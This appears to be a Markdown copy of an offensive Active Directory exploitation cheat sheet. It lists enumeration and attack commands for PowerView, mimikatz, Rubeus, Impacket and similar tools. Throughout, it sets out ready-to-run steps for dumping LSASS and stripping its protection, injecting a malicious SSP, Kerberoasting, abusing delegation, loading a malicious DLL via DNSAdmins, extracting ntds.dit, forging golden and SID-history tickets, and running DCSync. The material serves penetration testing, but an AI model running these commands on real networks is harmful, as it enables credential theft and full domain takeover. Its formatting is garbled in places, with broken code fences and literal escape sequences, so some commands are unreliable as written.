

## # Active Directory Exploitation Cheat Sheet

A cheat sheet that contains common enumeration and attack methods for Windows Active Directory.

This cheat sheet is inspired by the  
[PayloadAllTheThings] (<https://github.com/swisskyrepo/PayloadsAllTheThings>  
) repo.

![Just Walking The Dog] (<https://github.com/buftas/Active-Directory-Exploitation-Cheatsheet/blob/master/WalkTheDog.png>)

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## Tools

- [Powersploit] (<https://github.com/PowerShellMafia/PowerSploit/tree/dev>)
- [PowerUpSQL] (<https://github.com/NetSPI/PowerUpSQL>)
- [Powermad] (<https://github.com/Kevin-Robertson/Powermad>)
- [Impacket] (<https://github.com/SecureAuthCorp/impacket>)
- [Mimikatz] (<https://github.com/gentilkiwi/mimikatz>)
- [Rubeus] (<https://github.com/GhostPack/Rubeus>) -> [Compiled Version] (<https://github.com/r3motecontrol/Ghostpack-CompiledBinaries>)
- [BloodHound] (<https://github.com/BloodHoundAD/BloodHound>)
- [AD Module] (<https://github.com/samratashok/ADModule>)
- [ASREPRoast] (<https://github.com/HarmJ0y/ASREPRoast>)

## ## Enumeration

### ### Using PowerView

- \*\*Get Current Domain:\*\* `Get-NetDomain`
- \*\*Enum Other Domains:\*\* `Get-NetDomain -Domain <DomainName>`
- \*\*Get Domain SID:\*\* `Get-DomainSID`
- \*\*Get Domain Policy:\*\*
  - ```
 Get-DomainPolicy

 #Will show us the policy configurations of the Domain about system
 access or kerberos
 (Get-DomainPolicy)."system access"
 (Get-DomainPolicy)."kerberos policy"
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- \*\*Get Domain Controllers:\*\*
  - ```
 Get-NetDomainController
 Get-NetDomainController -Domain <DomainName>
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- \*\*Enumerate Domain Users:\*\*
  - ```
 Get-NetUser
 Get-NetUser -SamAccountName <user>
 Get-NetUser | select cn
 Get-UserProperty
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#Check last password change
Get-UserProperty -Properties pwdlastset

#Get a spesific "string" on a user's attribute
Find-UserField -SearchField Description -SearchTerm "wtver"

#Enumerate user logged on a machine
Get-NetLoggedon -ComputerName <ComputerName>

#Enumerate Session Information for a machine
Get-NetSession -ComputerName <ComputerName>

#Enumerate domain machines of the current/specified domain where
specific users are logged into
Find-DomainUserLocation -Domain <DomainName> | Select-Object UserName,
SessionFromName
` ``

- **Enum Domain Computers:**
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  Get-NetComputer -FullData
  Get-DomainGroup

#Enumerate Live machines
Get-NetComputer -Ping
` ``

- **Enum Groups and Group Members:**
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  Get-NetGroupMember -GroupName "<GroupName>" -Domain <DomainName>

#Enumerate the members of a specified group of the domain
Get-DomainGroup -Identity <GroupName> | Select-Object -ExpandProperty
Member

#Returns all GPOs in a domain that modify local group memberships
through Restricted Groups or Group Policy Preferences
Get-DomainGPOLocalGroup | Select-Object GPDisplayName, GroupName
` ``

- **Enumerate Shares**
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#Enumerate Domain Shares
Find-DomainShare

#Enumerate Domain Shares the current user has access
Find-DomainShare -CheckShareAccess
` ``

- **Enum Group Policies:**
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  Get-NetGPO

# Shows active Policy on specified machine
Get-NetGPO -ComputerName <Name of the PC>
Get-NetGPOGroup

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#Get users that are part of a Machine's local Admin group
Find-GPOComputerAdmin -ComputerName <ComputerName>
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- **Enum OUs:**
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Get-NetOU -FullData
Get-NetGPO -GPOName <The GUID of the GPO>
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- **Enum ACLs:**
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# Returns the ACLs associated with the specified account
Get-ObjectAcl -SamAccountName <AccountName> -ResolveGUIDs
Get-ObjectAcl -ADSPrefix 'CN=Administrator, CN=Users' -Verbose

#Search for interesting ACEs
Invoke-ACLScanner -ResolveGUIDs

#Check the ACLs associated with a specified path (e.g smb share)
Get-PathAcl -Path "\\Path\Of\A\Share"
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- **Enum Domain Trust:**
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Get-NetDomainTrust
Get-NetDomainTrust -Domain <DomainName>
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- **Enum Forest Trust:**
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Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Domains of Forest Enumeration
Get-NetForestDomain
Get-NetForestDomain Forest <ForestName>

#Map the Trust of the Forest
Get-NetForestTrust
Get-NetDomainTrust -Forest <ForestName>
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- **User Hunting:**
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#Finds all machines on the current domain where the current user has
local admin access
Find-LocalAdminAccess -Verbose

#Find local admins on all machines of the domain:
Invoke-EnumerateLocalAdmin -Verbose

#Find computers were a Domain Admin OR a spesified user has a session
Invoke-UserHunter
Invoke-UserHunter -GroupName "RDPUsers"
Invoke-UserHunter -Stealth

#Confirming admin access:
Invoke-UserHunter -CheckAccess

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    :heavy_exclamation_mark: **Priv Esc to Domain Admin with User
Hunting:** \
    I have local admin access on a machine -> A Domain Admin has a session
on that machine -> I steal his token and impersonate him ->
    Profit!

    [PowerView 3.0
Tricks] (https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993)

### Using AD Module

- **Get Current Domain:** `Get-ADDomain`
- **Enum Other Domains:** `Get-ADDomain -Identity <Domain>`
- **Get Domain SID:** `Get-DomainSID`
- **Get Domain Controllers:**
    \ \ \
    Get-ADDomainController
    Get-ADDomainController -Identity <DomainName>
    \ \ \
- **Enumerate Domain Users:**
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    Get-ADUser -Filter * -Identity <user> -Properties *

    #Get a spesific "string" on a user's attribute
    Get-ADUser -Filter 'Description -like "*wtver*"' -Properties
Description | select Name, Description
    \ \ \
- **Enum Domain Computers:**
    \ \ \
    Get-ADComputer -Filter * -Properties *
    Get-ADGroup -Filter *
    \ \ \
- **Enum Domain Trust:**
    \ \ \
    Get-ADTrust -Filter *
    Get-ADTrust -Identity <DomainName>
    \ \ \
- **Enum Forest Trust:**
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    Get-ADForest
    Get-ADForest -Identity <ForestName>

    #Domains of Forest Enumeration
    (Get-ADForest).Domains
    \ \ \
- **Enum Local AppLocker Effective Policy:**
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    Get-AppLockerPolicy -Effective | select -ExpandProperty RuleCollections
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### Using BloodHound
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#Using exe ingestor

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```
.\SharpHound.exe --CollectionMethod All --LDAPUser <UserName> --LDAPPass  
<Password> --JSONFolder <PathToFile>
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#Using powershell module ingestor
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```
.. \SharpHound.ps1
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```
Invoke-BloodHound -CollectionMethod All -LDAPUser <UserName> -LDAPPass  
<Password> -OutputDirectory <PathToFile>
```

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### Useful Enumeration Tools
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```
- [ldapdomaindump] (https://github.com/dirkjanm/ldapdomaindump)
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Information dumper via LDAP
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```
- [adidnsdump] (https://github.com/dirkjanm/adidnsdump) Integrated DNS  
dumping by any authenticated user
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```
- [ACLight] (https://github.com/cyberark/ACLight) Advanced Discovery of  
Privileged Accounts
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- [ADRecon] (https://github.com/sense-of-security/ADRecon) Detailed Active  
Directory Recon Tool
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## Local Privilege Escalation
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[PowerUp] (https://github.com/PowerShellMafia/PowerSploit/blob/dev/Privesc/PowerUp.ps1) Misconfiguration Abuse
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```
- [BeRoot] (https://github.com/AlessandroZ/BeRoot) General Priv Esc  
Enumeration Tool
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```
- [Privesc] (https://github.com/enjoiz/Privesc) General Priv Esc  
Enumeration Tool
```

```
- [FullPowers] (https://github.com/itm4n/FullPowers) Restore A Service  
Account's Privileges
```

```
- [Juicy Potato] (https://github.com/ohpe/juicy-potato) Abuse  
SeImpersonate or SeAssignPrimaryToken Privileges for System Impersonation
```

```
:warning: Works only until Windows Server 2016 and Windows 10 until  
patch 1803
```

```
- [Lovely Potato] (https://github.com/TsukiCTF/Lovely-Potato) Automated  
Juicy Potato
```

```
:warning: Works only until Windows Server 2016 and Windows 10 until  
patch 1803
```

```
- [PrintSpoofer] (https://github.com/itm4n/PrintSpoofer) Exploit the  
PrinterBug for System Impersonation
```

```
:pray: Works for Windows Server 2019 and Windows 10
```

```
- [RoguePotato] (https://github.com/antonioCoco/RoguePotato) Upgraded  
Juicy Potato
```

```
:pray: Works for Windows Server 2019 and Windows 10
```

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- [Abusing Token
```

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Privileges] (https://foxglovesecurity.com/2017/08/25/abusing-token-privileges-for-windows-local-privilege-escalation/)
```

```
- [SMBGhost CVE-2020-
```

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0796] (https://blog.zecops.com/vulnerabilities/exploiting-smbghost-cve-2020-0796-for-a-local-privilege-escalation-writeup-and-poc/) \
```

```
[PoC] (https://github.com/danigargu/CVE-2020-0796)
```

```

## Lateral Movement

### Powershell Remoting
```
#Enable Powershell Remoting on current Machine (Needs Admin Access)
Enable-PSRemoting

#Entering or Starting a new PSSession (Needs Admin Access)
$sess = New-PSSession -ComputerName <Name>
Enter-PSSession -ComputerName <Name> OR -Sessions <SessionName>
```

### Remote Code Execution with PS Credentials
```
$SecPassword = ConvertTo-SecureString '<Wtver>' -AsPlainText -Force
$Cred = New-Object
System.Management.Automation.PSCredential('htb.local\<WtverUser>',
$SecPassword)
Invoke-Command -ComputerName <WtverMachine> -Credential $Cred -
ScriptBlock {whoami}
```

### Import a powershell module and execute its functions remotely
```
#Execute the command and start a session
Invoke-Command -Credential $cred -ComputerName <NameOfComputer> -
FilePath c:\FilePath\file.ps1 -Session $sess

#Interact with the session
Enter-PSSession -Session $sess

```

### Executing Remote Stateful commands
```
#Create a new session
$sess = New-PSSession -ComputerName <NameOfComputer>

#Execute command on the session
Invoke-Command -Session $sess -ScriptBlock {$ps = Get-Process}

#Check the result of the command to confirm we have an interactive
session
Invoke-Command -Session $sess -ScriptBlock {$ps}
```

### Mimikatz
```
#The commands are in cobalt strike format!

#Dump LSASS:
mimikatz privilege::debug
mimikatz token::elevate
mimikatz sekurlsa::logonpasswords

#(Over) Pass The Hash
mimikatz privilege::debug
mimikatz sekurlsa::pth /user:<UserName> /ntlm:<> /domain:<DomainFQDN>

```

```

#List all available kerberos tickets in memory
mimikatz sekurlsa::tickets

#Dump local Terminal Services credentials
mimikatz sekurlsa::tspkg

#Dump and save LSASS in a file
mimikatz sekurlsa::minidump c:\temp\lsass.dmp

#List cached MasterKeys
mimikatz sekurlsa::dpapi

#List local Kerberos AES Keys
mimikatz sekurlsa::ekeys

#Dump SAM Database
mimikatz lsadump::sam

#Dump SECRETS Database
mimikatz lsadump::secrets

#Inject and dump the Domain Controller's Credentials
mimikatz privilege::debug
mimikatz token::elevate
mimikatz lsadump::lsa /inject

#Dump the Domain's Credentials without touching DC's LSASS and also
remotely
mimikatz lsadump::dcsync /domain:<DomainFQDN> /all

#List and Dump local kerberos credentials
mimikatz kerberos::list /dump

#Pass The Ticket
mimikatz kerberos::ptt <PathToKirbiFile>

#List TS/RDP sessions
mimikatz ts::sessions

#List Vault credentials
mimikatz vault::list
```


:exclamation: What if mimikatz fails to dump credentials because of LSA  

    Protection controls ? \
    So far i know two workarounds:



- LSA as a Protected Process



```

#Check if LSA runs as a protected process by looking if the variable
"RunAsPPL" is set to 0x1
reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa

```


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#Next upload the mimidriver.sys from the official mimikatz repo to same
folder of your mimikatz.exe
#Now lets import the mimidriver.sys to the system
mimikatz !+

#Now lets remove the protection flags from lsass.exe process
mimikatz !processprotect /process:lsass.exe /remove

#Finally run the logonpasswords function to dump lsass
mimikatz sekurlsa::logonpasswords
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- LSA is running as virtualized process (LSAISO) by Credential Guard
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#Check if a process called lsaiso.exe exists on the running processes
tasklist |findstr lsaiso

#If it does there isn't a way to dump lsass, we will only get encrypted
data. But we can still use keyloggers or clipboard dumpers to capture
data.
#Lets inject our own malicious Security Support Provider into memory,
for this example i'll use the one mimikatz provides
mimikatz misc::memssp

#Now every user session and authentication into this machine will get
logged and plaintext credentials will get captured and dumped into
c:\windows\system32\mimilsa.log
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- [Detailed Mimikatz Guide] (https://adsecurity.org/?page\_id=1821)
- [Poking Around With 2 lsass Protection Options] (https://medium.com/red-teaming-with-a-blue-team-mentaility/poking-around-with-2-lsass-protection-options-880590a72b1a)

### Useful Tools
- [Powercat] (https://github.com/besimorhino/powercat) netcat written in powershell, and provides tunneling, relay and portforward capabilities.
- [SCShell] (https://github.com/Mr-Un1k0d3r/SCShell) fileless lateral movement tool that relies on ChangeServiceConfigA to run command
- [Evil-Winrm] (https://github.com/Hackplayers/evil-winrm) the ultimate WinRM shell for hacking/pentesting
- [RunasCs] (https://github.com/antonioCoco/RunasCs) Csharp and open version of windows builtin runas.exe

## Domain Privilege Escalation

### Kerberoast
*WUT IS DIS?:* \
All standard domain users can request a copy of all service accounts along with their correlating password hashes, so we can ask a TGS for any SPN that is bound to a "user" account, extract the encrypted blob that was encrypted using the user's password and bruteforce it offline.

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- PowerView:
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  #Get User Accounts that are used as Service Accounts
  Get-NetUser -SPN

  #Get every available SPN account, request a TGS and dump its hash
  Invoke-Kerberoast

  #Requesting the TGS for a single account:
  Request-SPNTicket

  #Export all tickets using Mimikatz
  Invoke-Mimikatz -Command '"kerberos::list /export"'
  \ \ \

- AD Module:
  \ \ \

  #Get User Accounts that are used as Service Accounts
  Get-ADUser -Filter {ServicePrincipalName -ne "$null"} -Properties
  ServicePrincipalName
  \ \ \

  - Impacket:
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    python GetUserSPNs.py <DomainName>/<DomainUser>:<Password> -outputfile
    <FileName>
    \ \ \

  - Rubeus:
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    #Kerberoasting and outputting on a file with a spesific format
    Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>

    #Kerberoasting whle being "OPSEC" safe, essentially while not try to
    roast AES enabled accounts
    Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>
    /rc4opsec

    #Kerberoast AES enabled accounts
    Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName> /aes

    #Kerberoast spesific user account
    Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>
    /user:<username> /simple

    #Kerberoast by specifying the authentication credentials
    Rubeus.exe kerberoast /outfile:<fileName> /domain:<DomainName>
    /creduser:<username> /credpassword:<password>
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### ASREPROast
  *WUT IS DIS?:* \
  If a domain user account do not require kerberos preauthentication, we
  can request a valid TGT for this account without even having domain
  credentials, extract the encrypted
  blob and bruteforce it offline.

```

```
- PowerView: `Get-DomainUser -PreauthNotRequired -Verbose`  
- AD Module: `Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -  
Properties DoesNotRequirePreAuth`
```

Forcefully Disable Kerberos Preauth on an account i have Write  
Permissions or more!

Check for interesting permissions on accounts:

**\*\*Hint:\*\*** We add a filter e.g. RDPUsers to get "User Accounts" not  
Machine Accounts, because Machine Account hashes are not crackable!

PowerView:

```
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match  
"RDPUsers"}
```

Disable Kerberos Preauth:

```
Set-DomainObject -Identity <UserAccount> -XOR  
@{useraccountcontrol=4194304} -Verbose
```

Check if the value changed:

```
Get-DomainUser -PreauthNotRequired -Verbose  
`
```

And finally execute the attack using the  
[ASREPROast] (<https://github.com/HarmJ0y/ASREPROast>) tool.

#Get a spesific Accounts hash:

```
Get-ASREPHash -UserName <UserName> -Verbose
```

#Get any ASREPROastable Users hashes:

```
Invoke-ASREPROast -Verbose  
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```

Using Rubeus:

#Trying the attack for all domain users

```
Rubeus.exe asreproast /format:<hashcat|john> /domain:<DomainName>  
/outfile:<filename>
```

#ASREPROast spesific user

```
Rubeus.exe asreproast /user:<username> /format:<hashcat|john>  
/domain:<DomainName> /outfile:<filename>
```

#ASREPROast users of a spesific OU (Organization Unit)

```
Rubeus.exe asreproast /ou:<OUName> /format:<hashcat|john>  
/domain:<DomainName> /outfile:<filename>  
`
```

Using Impacket:

#Trying the attack for the specified users on the file

```
python GetNPUsers.py <domain_name>/ -usersfile <users_file> -outputfile  
<FileName>
```

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### Password Spray Attack
    If we have harvest some passwords by compromising a user account, we
    can use this method to try and exploit password reuse
    on other domain accounts.

    **Tools:**
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    [DomainPasswordSpray] (https://github.com/dafthack/DomainPasswordSpray)
    - [CrackMapExec] (https://github.com/byt3bl33d3r/CrackMapExec)
    - [SharpHose] (https://github.com/ustayready/SharpHose)
    - [Spray] (https://github.com/Greenwolf/Spray)
### Force Set SPN

*WUT IS DIS ?:
If we have enough permissions -> GenericAll/GenericWrite we can set a SPN
on a target account, request a TGS, then grab its blob and bruteforce
it.*

- PowerView:
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#Check for interesting permissions on accounts:
Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentityReferenceName -match
"RDPUsers"}

#Check if current user has already an SPN setted:
Get-DomainUser -Identity <UserName> | select serviceprincipalname

#Force set the SPN on the account:
Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
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- AD Module:
\ \ \

#Check if current user has already an SPN setted
Get-ADUser -Identity <UserName> -Properties ServicePrincipalName | select
ServicePrincipalName

#Force set the SPN on the account:
Set-ADUser -Identity <UserName> -ServicePrincipalNames
@{Add='ops/whatever1'}
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Finally use any tool from before to grab the hash and kerberoast it!
### Abusing Shadow Copies
If you have local administrator access on a machine try to list shadow
copies, it's an easy way for Domain Escalation.
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#List shadow copies using vssadmin (Needs Administrator Access)
vssadmin list shadows

#List shadow copies using diskshadow
diskshadow list shadows all

#Make a symlink to the shadow copy and access it
mklink /d c:\shadowcopy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\

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- 1) You can dump the backed up SAM database and harvest credentials.
  - 2) Look for DPAPI stored creds and decrypt them.
  - 3) Access backed up sensitive files.
- ### List and Decrypt Stored Credentials using Mimikatz

Usually encrypted credentials are stored in:

- `%appdata%\Microsoft\Credentials`
- `%localappdata%\Microsoft\Credentials`

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#By using the cred function of mimikatz we can enumerate the cred object and get information about it:

dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

#From the previous command we are interested to the "guidMasterKey" parameter, that tells us which masterkey was used to encrypt the credential

#Lets enumerate the Master Key:

dpapi::masterkey

/in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>"

#Now if we are on the context of the user (or system) that the credential belongs to, we can use the /rpc flag to pass the decryption of the masterkey to the domain controller:

dpapi::masterkey

/in:"%appdata%\Microsoft\Protect\<usersid>\<MasterKeyGUID>" /rpc

#We now have the masterkey in our local cache:

dpapi::cache

#Finally we can decrypt the credential using the cached masterkey:

dpapi::cred /in:"%appdata%\Microsoft\Credentials\<CredHash>"

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Detailed Article:

[DPAPI all the things] (<https://github.com/gentilkiwi/mimikatz/wiki/howto-~-credential-manager-saved-credentials>)

### Unconstrained Delegation

\*WUT IS DIS ?: If we have Administrative access on a machine that has Unconstrained Delegation enabled, we can wait for a high value target or DA to connect to it, steal his TGT then ptt and impersonate him!\*

Using PowerView:

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#Discover domain joined computers that have Unconstrained Delegation enabled

Get-NetComputer -UnConstrained

#List tickets and check if a DA or some High Value target has stored its TGT

Invoke-Mimikatz -Command '"sekurlsa::tickets"'

```
#Command to monitor any incoming sessions on our compromised server
Invoke-UserHunter -ComputerName <NameOfTheComputer> -Poll
<TimeOfMonitoringInSeconds> -UserName <UserToMonitorFor> -Delay
<WaitInterval> -Verbose
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#Dump the tickets to disk:
Invoke-Mimikatz -Command '"sekurlsa::tickets /export"'
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#Impersonate the user using ptt attack:
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTicket>"'
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**\*\*Note:\*\*** We can also use Rubeus!

### Constrained Delegation

Using PowerView and Kekeo:  
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```
#Enumerate Users and Computers with constrained delegation
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth
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```
#If we have a user that has Constrained delegation, we ask for a valid
tgt of this user using kekeo
tgt::ask /user:<UserName> /domain:<Domain's FQDN>
/rc4:<hashedPasswordOfTheUser>
```

```
#Then using the TGT we have ask a TGS for a Service this user has Access
to through constrained delegation
tgs::s4u /tgt:<PathToTGT> /user:<UserToImpersonate>@<Domain's FQDN>
/service:<Service's SPN>
```

```
#Finally use mimikatz to ptt the TGS
Invoke-Mimikatz -Command '"kerberos::ptt <PathToTGS>"'
\\`
```

**\*ALTERNATIVE:\***  
Using Rubeus:  
\\`

```
Rubeus.exe s4u /user:<UserName> /rc4:<NTLMhashedPasswordOfTheUser>
/impersonateuser:<UserToImpersonate> /msdssp:"<Service's SPN>"
/altservice:<Optional> /ptt
\\`
```

Now we can access the service as the impersonated user!

:triangular\_flag\_on\_post: **\*\*What if we have delegation rights for only a  
specific SPN? (e.g TIME):\*\***

In this case we can still abuse a feature of kerberos called "alternative service". This allows us to request TGS tickets for other "alternative" services and not only for the one we have rights for. That gives us the leverage to request valid tickets for any service we want that the host supports, giving us full access over the target machine.

### Resource Based Constrained Delegation

\*WUT IS DIS?: \  
TL;DR \

If we have GenericALL/GenericWrite privileges on a machine account object of a domain, we can abuse it and impersonate ourselves as any user of the domain to it. For example we can impersonate Domain Administrator and have complete access.\*

Tools we are going to use:

- [PowerView] (<https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon>)
- [Powermad] (<https://github.com/Kevin-Robertson/Powermad>)
- [Rubeus] (<https://github.com/GhostPack/Rubeus>)

First we need to enter the security context of the user/machine account that has the privileges over the object.

If it is a user account we can use Pass the Hash, RDP, PSCredentials etc.

Exploitation Example:

#Import Powermad and use it to create a new MACHINE ACCOUNT

. .\Powermad.ps1

New-MachineAccount -MachineAccount <MachineAccountName> -Password \$(ConvertTo-SecureString 'p@ssword!' -AsPlainText -Force) -Verbose

#Import PowerView and get the SID of our new created machine account

. .\PowerView.ps1

\$ComputerSid = Get-DomainComputer <MachineAccountName> -Properties objectsid | Select -Expand objectsid

#Then by using the SID we are going to build an ACE for the new created machine account using a raw security descriptor:

\$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;\${\$ComputerSid})"  
\$SDBytes = New-Object byte[] (\$SD.BinaryLength)  
\$SD.GetBinaryForm(\$SDBytes, 0)

#Next, we need to set the security descriptor in the msDS-

AllowedToActOnBehalfOfOtherIdentity field of the computer account we're taking over, again using PowerView

Get-DomainComputer TargetMachine | Set-DomainObject -Set @{'msds-allowedtoactonbehalfototheridentity'=\$SDBytes} -Verbose

#After that we need to get the RC4 hash of the new machine account's password using Rubeus

Rubeus.exe hash /password:'p@ssword!'

#And for this example, we are going to impersonate Domain Administrator on the cifs service of the target computer using Rubeus

Rubeus.exe s4u /user:<MachineAccountName>  
/rc4:<RC4HashOfMachineAccountPassword> /impersonateuser:Administrator  
/msdsspncifs/TargetMachine.wtver.domain /domain:wtver.domain /ptt

```
#Finally we can access the C$ drive of the target machine
dir \\TargetMachine.wtver.domain\C$
\\`
```

Detailed Articles:

- [Wagging the Dog: Abusing Resource-Based Constrained Delegation to Attack Active Directory] (<https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html>)
- [RESOURCE-BASED CONSTRAINED DELEGATION ABUSE] (<https://blog.stealthbits.com/resource-based-constrained-delegation-abuse/>)

:exclamation: In Constrain and Resource-Based Constrained Delegation if we don't have the password/hash of the account with TRUSTED\_TO\_AUTH\_FOR\_DELEGATION that we try to abuse, we can use the very nice trick "tgt::deleg" from kekeo or "tgtdeleg" from rubeus and fool Kerberos to give us a valid TGT for that account. Then we just use the ticket instead of the hash of the account to perform the attack.

```
#Command on Rubeus
Rubeus.exe tgtdeleg /nowrap
\\`
```

Detailed Article:

[Rubeus ,Äi Now With More Kekeo] (<https://www.harmj0y.net/blog/redteaming/rubeus-now-with-more-kekeo/>)

### DNSAdmins Abuse

\*WUT IS DIS ?: If a user is a member of the DNSAdmins group, he can possibly load an arbitrary DLL with the privileges of dns.exe that runs as SYSTEM. In case the DC serves a DNS, the user can escalate his privileges to DA. This exploitation process needs privileges to restart the DNS service to work.\*

- 1) Enumerate the members of the DNSAdmins group:
  - PowerView: `Get-NetGroupMember -GroupName "DNSAdmins"`
  - AD Module: `Get-ADGroupMember -Identiny DNSAdmins`
- 2) Once we found a member of this group we need to compromise it (There are many ways).
- 3) Then by serving a malicious DLL on a SMB share and configuring the dll usage, we can escalate our privileges:

```
\\`
#Using dnscmd:
dnscmd <NameOfDNSMachine> /config /serverlevelplugindll
\\Path\To\Our\Dll\malicious.dll
```

```
#Restart the DNS Service:
sc \\DNSServer stop dns
sc \\DNSServer start dns
\\`
```

### Abusing Active Directory-Integrated DNS



- [Exploiting Active Directory-Integrated DNS] (<https://blog.netSPI.com/exploiting-adidns/>)
- [ADIDNS Revisited] (<https://blog.netSPI.com/adidns-revisited/>)
- [Inveigh] (<https://github.com/Kevin-Robertson/Inveigh>)

### Abusing Backup Operators Group

\*WUT IS DIS ?: If we manage to compromise a user account that is member of the Backup Operators group, we can then abuse it's SeBackupPrivilege to create a shadow copy of the current state of the DC, extract the ntds.dit database file, dump the hashes and escalate our privileges to DA.\*

1) Once we have access on an account that has the SeBackupPrivilege we can access the DC and create a shadow copy using the signed binary diskshadow:

```
...\n\n#Create a .txt file that will contain the shadow copy process script\nScript ->{\n  set context persistent nowriters\n  set metadata c:\\windows\\system32\\spool\\drivers\\color\\example.cab\n  set verbose on\n  begin backup\n  add volume c: alias mydrive\n\n  create\n\n  expose %mydrive% w:\n  end backup\n}
```

```
#Execute diskshadow with our script as parameter\ndiskshadow /s script.txt\n...\n
```

2) Next we need to access the shadow copy, we may have the SeBackupPrivilege but we cant just simply copy-paste ntds.dit, we need to mimic a backup software and use Win32 API calls to copy it on an accessible folder. For this we are going to use [this] (<https://github.com/giuliano108/SeBackupPrivilege>) amazing repo:

```
...\n\n#Importing both dlls from the repo using powershell\nImport-Module .\\SeBackupPrivilegeCmdLets.dll\nImport-Module .\\SeBackupPrivilegeUtils.dll\n
```

```
#Checking if the SeBackupPrivilege is enabled\nGet-SeBackupPrivilege\n
```

```
#If it isn't we enable it\nSet-SeBackupPrivilege\n
```

```
#Use the functionality of the dlls to copy the ntds.dit database file\nfrom the shadow copy to a location of our choice\n
```

```
Copy-FileSeBackupPrivilege w:\windows\NTDS\ntds.dit
c:\<PathToSave>\ntds.dit -Overwrite
```

```
#Dump the SYSTEM hive
reg save HKLM\SYSTEM c:\temp\system.hive
\\
```

3) Using smbclient.py from impacket or some other tool we copy ntds.dit and the SYSTEM hive on our local machine.

4) Use secretsdump.py from impacket and dump the hashes.

5) Use psexec or another tool of your choice to PTH and get Domain Admin access.

### Abusing Exchange

- [Abusing Exchange one Api call from DA] (<https://dirkjanm.io/abusing-exchange-one-api-call-away-from-domain-admin/>)

- [CVE-2020-0688] (<https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys>)

- [PrivExchange] (<https://github.com/dirkjanm/PrivExchange>) Exchange your privileges for Domain Admin privs by abusing Exchange

### Weaponizing Printer Bug

- [Printer Server Bug to Domain

Administrator] (<https://www.dionach.com/blog/printer-server-bug-to-domain-administrator/>)

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[NetNTLMtoSilverTicket] (<https://github.com/NotMedic/NetNTLMtoSilverTicket>)

### Abusing ACLs

- [Escalating privileges with ACLs in Active Directory] (<https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/>)

- [aclpwn.py] (<https://github.com/fox-it/aclpwn.py>)

- [Invoke-ACLPwn] (<https://github.com/fox-it/Invoke-ACLPwn>)

### Abusing IPv6 with mitm6

- [Compromising IPv4 networks via IPv6] (<https://blog.fox-it.com/2018/01/11/mitm6-compromising-ipv4-networks-via-ipv6/>)

- [mitm6] (<https://github.com/fox-it/mitm6>)

### SID History Abuse

\*WUT IS DIS?: If we manage to compromise a child domain of a forest and [SID filtering] (<https://www.itprotoday.com/windows-8/sid-filtering>) isn't enabled (most of the times is not), we can abuse it to privilege escalate to Domain Administrator of the root domain of the forest. This is possible because of the [SID History] (<https://www.itprotoday.com/windows-8/sid-history>) field on a kerberos TGT ticket, that defines the "extra" security groups and privileges.\*

Exploitation example:

\\

```
#Get the SID of the Current Domain using PowerView
```

```
Get-DomainSID -Domain current.root.domain.local
```

```
#Get the SID of the Root Domain using PowerView
```

```
Get-DomainSID -Domain root.domain.local
```

```
#Create the Enterprise Admins SID
```

```
Format: RootDomainSID-519
```

```
#Forge "Extra" Golden Ticket using mimikatz
kerberos::golden /user:Administrator /domain:current.root.domain.local
/sid:<CurrentDomainSID> /krbtgt:<krbtgtHash> /sids:<EnterpriseAdminsSID>
/startoffset:0 /endin:600 /renewmax:10080
/ticket:\path\to\ticket\golden.kirbi
```

```
#Inject the ticket into memory
kerberos::ptt \path\to\ticket\golden.kirbi
```

```
#List the DC of the Root Domain
dir \\dc.root.domain.local\C$
```

```
#Or DCSync and dump the hashes using mimikatz
lsadump::dcsync /domain:root.domain.local /all
\\`
```

#### Detailed Articles:

- [Kerberos Golden Tickets are Now More Golden] (<https://adsecurity.org/?p=1640>)
- [A Guide to Attacking Domain Trusts] (<http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/>)

#### ### Exploiting SharePoint

- [CVE-2019-0604] (<https://medium.com/@gorkemkaradeniz/sharepoint-cve-2019-0604-rce-exploitation-ab3056623b7d>) RCE Exploitation \ [PoC] (<https://github.com/k8gege/CVE-2019-0604>)
- [CVE-2019-1257] (<https://www.zerodayinitiative.com/blog/2019/9/18/cve-2019-1257-code-execution-on-microsoft-sharepoint-through-bdc-deserialization>) Code execution through BDC deserialization
- [CVE-2020-0932] (<https://www.zerodayinitiative.com/blog/2020/4/28/cve-2020-0932-remote-code-execution-on-microsoft-sharepoint-using-typeconverters>) RCE using typeconverters \ [PoC] (<https://github.com/thezdi/PoC/tree/master/CVE-2020-0932>)

#### ## Domain Persistence

#### ### Golden Ticket Attack

```
\\`
#Execute mimikatz on DC as DA to grab krbtgt hash:
Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -ComputerName
<DC'sName>
```

```
#On any machine:
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator
/domain:<DomainName> /sid:<Domain's SID> /krbtgt:
<HashOfkrbtgtAccount> id:500 /groups:512 /startoffset:0 /endin:600
/renewmax:10080 /ptt"'
\\`
```

#### ### DCSync Attack

```
\\`
#DCsync using mimikatz (You need DA rights or DS-Replication-Get-
Changes and DS-Replication-Get-Changes-All privileges):
```

```

    Invoke-Mimikatz -Command '"lsadump::dcsync
/user:<DomainName>\<AnyDomainUser>"'

    #DCsync using secretsdump.py from impacket with NTLM authentication
    secretsdump.py <Domain>/<Username>:<Password>@<DC'S IP or FQDN> -just-
dc-ntlm
